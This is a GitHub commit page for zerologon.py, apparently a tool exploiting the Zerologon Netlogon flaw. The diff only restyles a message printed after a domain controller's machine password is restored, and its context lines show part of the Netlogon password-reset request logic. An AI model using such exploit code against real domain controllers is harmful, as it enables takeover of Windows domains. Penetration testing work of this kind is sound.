Skip to content

Commit

Permalink
updated confirmation of password change
Browse files Browse the repository at this point in the history
  • Loading branch information
sho-luv committed Apr 12, 2022
1 parent 69d4f8d commit 8c05816
Showing 1 changed file with 2 additions and 1 deletion.
3 changes: 2 additions & 1 deletion zerologon.py
Original file line number Diff line number Diff line change
Expand Up @@ -144,7 +144,8 @@ def dump(self, remoteName, remoteHost):
indata = b'\x00' * (512-len(self.__password)) + self.__password + pack('<L', len(self.__password))
request['ClearNewPassword'] = nrpc.ComputeNetlogonCredentialAES(indata, self.sessionKey)
result = dce.request(request)
print('Changed password back to original value OK')
print(LIGHTGREEN+"\n[+] "+NOCOLOR, end = '')
print(WHITE+'Changed password back to original value OK'+NOCOLOR)

def update_authenticator(self, plus=10):
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
Expand Down

0 comments on commit 8c05816

Please sign in to comment.